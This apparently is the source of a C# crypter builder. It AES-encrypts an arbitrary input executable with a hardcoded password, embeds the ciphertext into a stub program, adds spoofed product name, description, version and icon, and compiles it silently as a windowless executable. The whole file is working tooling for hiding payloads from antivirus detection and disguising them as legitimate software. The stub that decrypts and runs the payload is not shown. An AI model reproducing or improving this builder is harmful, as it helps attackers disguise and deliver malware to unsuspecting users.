﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.Security.Cryptography;

namespace HerPulan.Funcionalidad
{
    public class HerPulanManager
    {
        private static readonly byte[] SALT = new byte[] { 0x26, 0xdc, 0xff, 0x00, 0xad, 0xed, 0x7a, 0xee, 0xc5, 0xfe, 0x07, 0xaf, 0x4d, 0x08, 0x22, 0x3c };
        public string Carpeta 
        {
            get { return AppDomain.CurrentDomain.BaseDirectory + @"\CodigoPulan\"; }
        }

        public string GenerarPulan(Opciones opciones)
        {
            List<string> codigosFuente = new List<string>();
            string recurso = Carpeta + @"\Form1.resx";

            GenerarProgramModificado(opciones);
            codigosFuente.Add(Carpeta + @"\Form1.cs");
            codigosFuente.Add(Carpeta + @"\Form1.designer.cs");
            codigosFuente.Add(Carpeta + @"\ProgramModificado.cs");

            string vergopolis = string.Empty;
            foreach (string codigoFuente in codigosFuente)
                vergopolis += "\"" + codigoFuente + "\" ";
            vergopolis = vergopolis.TrimEnd();

            ProcessStartInfo info = new ProcessStartInfo(@"C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe");

            string recursoIcono = string.Empty;
            if (opciones.ArchivoIcono != null && !opciones.ArchivoIcono.Equals(string.Empty))    
                recursoIcono = string.Format("/win32icon:\"{0}\"", opciones.ArchivoIcono);

            info.Arguments = string.Format("/out:{0} /t:winexe /res:{1} {2} {3}", opciones.ArchivoSalida, recurso, recursoIcono, vergopolis);
            info.UseShellExecute = false;
            info.RedirectStandardOutput = info.RedirectStandardError = true;

            Process process = new Process();
            process.StartInfo = info;
            process.Start();

            StringBuilder error = new StringBuilder();
            while (!process.StandardError.EndOfStream)
                error.AppendLine(process.StandardError.ReadLine());

            StringBuilder salida = new StringBuilder();
            while (!process.StandardOutput.EndOfStream)
                salida.AppendLine(process.StandardOutput.ReadLine());

            string salidaCompilacion = "What THE HACK?";

            if (error.Length > 0)
                salidaCompilacion = error.ToString();
            else if (salida.Length > 0)
                salidaCompilacion = salida.ToString();
            else
                salidaCompilacion = null;

            return salidaCompilacion;
        }

        public static byte[] Codificar(byte[] plain, string password)
        {
            MemoryStream memoryStream;
            CryptoStream cryptoStream;
            Rijndael rijndael = Rijndael.Create();
            Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(password, SALT);
            rijndael.Key = pdb.GetBytes(32);
            rijndael.IV = pdb.GetBytes(16);
            memoryStream = new MemoryStream();
            cryptoStream = new CryptoStream(memoryStream, rijndael.CreateEncryptor(), CryptoStreamMode.Write);
            cryptoStream.Write(plain, 0, plain.Length);
            cryptoStream.Close();
            return memoryStream.ToArray();
        }

        private void GenerarProgramModificado(Opciones opciones)
        {
            string codigoFuente = File.ReadAllText(Carpeta + "Program.cs");
            byte[] bytes = File.ReadAllBytes(opciones.ArchivoEntrada);
            byte[] bytesCodificados = Codificar(bytes, "Verg0L4siA");

            string secuenciaBytes = string.Empty;
            for (int i = 0; i < bytesCodificados.Length; i++)
                secuenciaBytes += string.Format("{0}, ", bytesCodificados[i].ToString());
            secuenciaBytes = secuenciaBytes.TrimEnd();
            secuenciaBytes = secuenciaBytes.Substring(0, secuenciaBytes.Length - 1);

            string pulaneado = "new byte[] { " + secuenciaBytes + " };";

            codigoFuente = codigoFuente.Replace("null;//PIJA", pulaneado);
            StringBuilder sectorAssembly = new StringBuilder();
            sectorAssembly.AppendLine(string.Format("[assembly: AssemblyTitle(\"{0}\")]", opciones.NombreProducto));
            sectorAssembly.AppendLine(string.Format("[assembly: AssemblyProduct(\"{0}\")]", opciones.NombreProducto));
            sectorAssembly.AppendLine(string.Format("[assembly: AssemblyDescription(\"{0}\")]", opciones.Descripcion));
            sectorAssembly.AppendLine(string.Format("[assembly: AssemblyVersion(\"{0}\")]", opciones.Version));
            sectorAssembly.AppendLine(string.Format("[assembly: AssemblyFileVersion(\"{0}\")]", opciones.Version));
            codigoFuente = codigoFuente.Replace("/*SECTOR ASS*/", sectorAssembly.ToString());
            
            File.WriteAllText(Carpeta + "ProgramModificado.cs", codigoFuente);
        }
    }
}
